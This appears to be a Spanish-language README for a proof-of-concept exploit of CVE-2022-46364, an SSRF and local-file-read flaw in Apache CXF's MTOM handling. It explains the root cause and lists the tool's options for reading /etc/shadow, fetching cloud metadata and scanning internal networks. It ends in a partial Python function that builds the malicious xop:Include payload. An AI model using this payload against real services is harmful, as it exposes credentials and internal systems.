
Esta vulnerabilidad permite a un atacante realizar ataques SSRF (Server-Side Request Forgery) en servicios web Apache CXF que aceptan solicitudes MTOM/XOP. El problema reside en cómo se analiza el atributo href de xop:Include, lo que permite que el servidor solicite URLs arbitrarias.
ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD EDUCATIVAS Y AUTORIZADAS
Este exploit de prueba de concepto se proporciona con fines educativos para ayudar a los profesionales de seguridad a comprender la vulnerabilidad y proteger sus sistemas. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta. Debe obtener permiso explícito por escrito del propietario del sistema antes de realizar pruebas. Al usar esta herramienta, acepta cumplir con todas las leyes aplicables.
| Atributo | Valor |
|---|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| Tipo de vulnerabilidad | Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI) |
| Software afectado | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| Gravedad | Crítica |
| Puntuación CVSS | 9.8 (Crítica) |
| Vector de ataque | Red |
| Autenticación | No se requiere |
| Versiones parcheadas | Apache CXF 3.5.5+, 3.4.10+ |
Este exploit aprovecha una vulnerabilidad crítica de SSRF en la implementación de MTOM (Message Transmission Optimization Mechanism) de Apache CXF para lograr inclusión de archivos locales (LFI) y capacidades de escaneo de red interna.
Apache CXF valida incorrectamente el atributo href dentro de los elementos xop:Include al procesar mensajes SOAP codificados con MTOM. La librería utiliza URLConnection de Java para desreferenciar la URI sin restricciones de protocolo adecuadas, lo que permite a los atacantes especificar:
file:// - Leer archivos locales (LFI)http:// / https:// - Solicitudes a la red interna (SSRF)ftp:// - Solicitudes FTP (posible explotación adicional)Esta vulnerabilidad es especialmente peligrosa porque:
Cualquier despliegue de Apache CXF que:
MTOM (Message Transmission Optimization Mechanism) es un estándar del W3C para optimizar la transmisión de datos binarios en mensajes SOAP. Utiliza XOP (XML-binary Optimized Packaging) para incluir referencias a datos binarios:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
Normalmente, href contiene una referencia CID (Content-ID) a una parte MIME. Sin embargo, la clase AttachmentUtil de Apache CXF procesa los valores de href como URIs genéricos sin una sanitización adecuada.
Análisis de la solicitud:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() procesa los elementos xop:IncludeDesreferenciación de URI:
new URL(href).openStream()file://Incrustación en la respuesta:
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
El protocolo file:// sigue la misma ruta de código:
file:///etc/passwd → Java abre /etc/passwd como un flujo de archivoAl iterar a través de IPs y puertos, los atacantes pueden:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| Argumento | Descripción | Ejemplo |
|---|---|---|
-t, --target | Requerido. URL base del servicio Apache CXF objetivo | http://10.10.10.50:8080 |
-e, --endpoint | Opcional. Ruta del endpoint SOAP | /services/UserManagement |
-u, --url | URL HTTP/HTTPS para obtener vía SSRF | http://169.254.169.254/latest/user-data |
-f, --file | Ruta de archivo local para leer vía LFI | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 or higher required
python --version
# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### Detalles centrales de la implementación
#### 1. Construcción de la carga útil MTOM
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part